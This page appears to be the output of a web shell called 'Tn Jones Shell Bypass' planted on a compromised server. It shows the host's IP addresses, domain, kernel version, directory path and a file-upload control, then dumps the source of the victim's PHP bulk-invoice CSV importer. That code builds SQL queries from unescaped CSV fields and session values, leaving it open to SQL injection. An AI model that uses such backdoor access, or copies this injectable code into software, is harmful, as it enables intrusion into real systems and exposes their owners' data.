Tn Jones Shell Bypass
:
3.128.171.149
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
Upload File:
files >> /home/upgov/www/rmpyrll/gen_invoiceid_bulk.php
<?php date_default_timezone_set("Asia/Kolkata"); ?> <?php include("connection.php"); session_start(); if (!isset($_SESSION['user']) || ($_SESSION['password'] == '')) { header("location:index.php"); exit(); } if(isset($_SESSION['user'])) { $username=$_SESSION['user']; } $user_query = mysql_query("SELECT * FROM loginemp where user='$username' ")or die(mysql_error()); $user_row = mysql_fetch_array($user_query); $username = $user_row['user']; ?> <?php include ("connection.php"); if(isset($_POST["submit"])) { $file = $_FILES['file']['tmp_name']; $handle = fopen($file, "r"); $c = 0; while(($filesop = fgetcsv($handle, 1200, ",")) !== false) { $bill_type=$filesop[0]; $old_billid=$filesop[1]; $bill_id=$filesop[2]; $dept=$filesop[3]; $sche=$filesop[4]; $sub_loc=$filesop[5]; $district=$filesop[6]; $post=$filesop[7]; $month=$filesop[8]; $bill_date=$filesop[9]; $wages=$filesop[10]; $service_tax=$filesop[11]; $g_total=$filesop[12]; $updated_by=$filesop[13]; $entry_date=$filesop[14]; $updated_date=$filesop[15]; $gstno=$filesop[16]; $invoice_month=$filesop[17]; $service_charge=$filesop[18]; $text4=$filesop[19]; $text5=$filesop[20]; $text6=$filesop[21]; $text7=$filesop[22]; $text8=$filesop[23]; $text9=$filesop[24]; $sql = mysql_query("insert into invoice_nov11(bill_type,old_bill_id,bill_id,department,scheme,sub_loc,district,post,month,bill_date,wages,gst,g_total,updated_by,entry_date,updated_date,GST_NO,invoice_month,service_charge,text4,text5,text6,text7,text8,text9) values ('$bill_type', '$old_empid', '$bill_id', '$dept','$sche','$sub_loc','$district', '$post', '$month', '$bill_date', '$wages','$service_tax', '$g_total','$updated_by','$entry_date','$updated_date','$gstno','$invoice_month','$service_charge','$text4','$text5','$text6','$text7','$text8','$text9');"); $c = $c + 1; } if($sql){ echo "<script type='text/javascript'>alert('Data has imported successfully. You have inserted ". $c ." recoreds')</script>"; }else{ echo "<script type='text/javascript'>alert('Sorry! There is some problem!') </script>"; echo "Sorry! There is some problem.<br>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <title>Rama Login</title> <!-- for-mobile-apps --> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="Lucrative Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <script type="text/javascript"> function display_c(){ var refresh=1000; // Refresh rate in milli seconds mytime=setTimeout('display_ct()',refresh) } function display_ct() { var strcount var x = new Date() document.getElementById('ct').innerHTML = x; tt=display_c(); } </script> <!-- //for-mobile-apps --> <link href="css/bootstrap.css" rel="stylesheet" type="text/css" media="all" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> <!-- js --> <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script> <!-- //js --> <!-- pop-up-box --> <link href="css/popuo-box.css" rel="stylesheet" type="text/css" media="all" /> <!-- //pop-up-box --> <!-- font-awesome icons --> <link href="css/font-awesome.css" rel="stylesheet"> <!-- //font-awesome icons --> <link href="//fonts.googleapis.com/css?family=Work+Sans:100,200,300,400,500,600,700,800,900&subset=latin-ext" rel="stylesheet"> <link href='//fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'> </head> <body onload=display_ct();> <!-- header --> <div class="header"> <div class="container"> <div class="agile_header_grid"> <div class="w3_agile_logo"> <h3><a href="index.html"><span><img src="images/logo.png" height="80px" width="200px"/></span> Welcome : <?php echo $username;?></a></h3> </div> <div class="agileits_w3layouts_sign_in"> <ul> <li><font size="-1" color="orange"><strong><span id='ct' align="right"></span></strong></font></li> </ul> </div> <div class="w3_agileits_nav"> <nav class="navbar navbar-default"> <div class="navbar-header navbar-left"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse navbar-right" id="bs-example-navbar-collapse-1"> </div> </nav> </div> </div> </div> <!-- //header --> <!-- pop-up-box --> <!-- //pop-up-box --> <script src="js/jquery.magnific-popup.js" type="text/javascript"></script> <script> $(document).ready(function() { $('.popup-with-zoom-anim').magnificPopup({ type: 'inline', fixedContentPos: false, fixedBgPos: true, overflowY: 'auto', closeBtnInside: true, preloader: false, midClick: true, removalDelay: 300, mainClass: 'my-mfp-zoom-in' }); }); </script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-60962033-1', 'auto'); ga('send', 'pageview'); </script> <!-- banner --> <table align="right"> <tr> <td align="right"> <a href="logout.php"><font color="navy" size="3"><input type="button" value="Logout" align="right" style="font-weight:bold;width:90px;height:35px;background-color:#20B2AA;color:white;"/></font></a> </td></tr></table> <br> <br> <!-- //banner --> <!-- about --> <!-- about --> <!-- features --> <div class="features"> <h4 align="right" ><font color="white" ><a href="help_file.pdf" target="_blank" >Help File</a> </font></h4> <div class="container"> <div class="w3_agileits_features_grids"> <div class="col-md-4 w3_agileits_features_grid"> <a href="invoice_gen.php"> <div class="agileits_w3layouts_features_grid"> <div class="col-xs-4 agileits_w3layouts_features_gridl"> <div class="agile_feature_grid"> <i class="fa fa-laptop" aria-hidden="true"></i> </div> </div> <div class="col-xs-8 agileits_w3layouts_features_gridr"> <h4><font color="#1387AD">Generate Individual</font></h4> <p><strong><font color="black">Click here to generate individual invoice no.</font></strong></p> </div> <div class="clearfix"> </div> </div> </a> </div> <div class="col-md-4 w3_agileits_features_grid"> <div class="agileits_w3layouts_features_grid"> <div class="col-xs-3 agileits_w3layouts_features_gridl"> <img src="images/arrow_down.gif" height="78px" width="60px"/> </div> <div class="col-xs-8 agileits_w3layouts_features_gridr"> <h4><font color="#1387AD">Generate Bulk</font></h4> <p><strong><font color="black">Generate bulk invoice no Below.</font></strong></p> </div> <div class="clearfix"> </div> </div> </div> <div class="col-md-4 w3_agileits_features_grid"> <a href="view_invoiceno.php"> <div class="agileits_w3layouts_features_grid"> <div class="col-xs-4 agileits_w3layouts_features_gridl"> <div class="agile_feature_grid"> <i class="fa fa-globe" aria-hidden="true"></i> </div> </div> <div class="col-xs-8 agileits_w3layouts_features_gridr"> <h4><font color="#1387AD">Dashboard</font></h4> <p><strong><font color="black">Click here to view Invoice details.</font></strong></p> </div> <div class="clearfix"> </div> </div> </a> </div> <div class="clearfix"> </div> </div> </div> </div> <!-- //features --> <h3 align="Center"><font color="#20B2AA">Bulk Invoice Generation!</font></h3> <br> <form name="import" method="post" enctype="multipart/form-data"> <table width='40%' style='border:1px solid #1387AD;' cellspacing='1' cellpadding='2' align="center"> <tr><td colspan="4" style="background-color:#20B2AA;"><center><span style="color:white;font-weight:bold;font-style:bold;"><strong><font size="4">Please Upload csv file </font></strong></span></center> </td></tr> <tr><td colspan="4"><br></td></tr> <tr> <td colspan='4' align='center'> <input type="file" name="file" style="height:25px;width:250px;"/></td> </tr> <tr><td colspan="4"><br></td></tr> <tr><td colspan="4" align="center"> <a href='gen_invoiceid.php'> <input type="button" name="back" value="BACK" id="back" style="font-weight:bold;width:90px;height:35px;background-color:#20B2AA;color:white;" /> </a> <input type="submit" name="submit" value="Submit" id="submit" style="font-weight:bold;width:90px;height:35px;background-color:#20B2AA;color:white;" /> </b> </td></tr> <tr><td colspan="4"><br></td></tr> </table> <!--<form name="import" method="post" enctype="multipart/form-data"> <table> <tr> <td width="526" align="center">Upload File <font color="red">*</font> : <input type="file" name="file" /></td> <input type="submit" name="submit" value="Submit" /> </tr> </table> </form>--> <br> <font color="red"><b>Note:</b></font> <br> <font color="black"><strong>1. Click <a href="invoicebulk_excel.php">here </a>to download sample invoice no. Registration Bulk upload file..</strong></font> <br> <font color="black"><strong>2. Only csv File can be uploaded.</strong></font> <br> <font color="black"><strong>3. Records allowed in a file is 999.</strong></font> <br> <br> </form> <!-- team --> <!-- //team --> <!-- stats --> <!-- //stats --> <!-- stats --> <script src="js/waypoints.min.js"></script> <script src="js/counterup.min.js"></script> <script> jQuery(document).ready(function( $ ) { $('.counter').counterUp({ delay: 20, time: 1000 }); }); </script> <!-- stats --> <br> <br> <br> <br> <!-- footer --> <div class="copyright"> <div align="center"> <p><font color="white">© 2017 Rama Infotech. All Rights Reserved | Design by </font><a href="https://p8.secure.hostingprod.com/@www.ramaipl.com/ssl/">ramaipl.com</a></p> </div> </div> <!-- //footer --> <!-- start-smoth-scrolling --> <script type="text/javascript" src="js/move-top.js"></script> <script type="text/javascript" src="js/easing.js"></script> <script type="text/javascript"> jQuery(document).ready(function($) { $(".scroll").click(function(event){ event.preventDefault(); $('html,body').animate({scrollTop:$(this.hash).offset().top},1000); }); }); </script> <!-- start-smoth-scrolling --> <!-- for bootstrap working --> <script src="js/bootstrap.js"></script> <!-- //for bootstrap working --> <!-- here stars scrolling icon --> <script type="text/javascript"> $(document).ready(function() { /* var defaults = { containerID: 'toTop', // fading element id containerHoverID: 'toTopHover', // fading element hover id scrollSpeed: 1200, easingType: 'linear' }; */ $().UItoTop({ easingType: 'easeOutQuart' }); }); </script> <!-- //here ends scrolling icon --> </body> </html>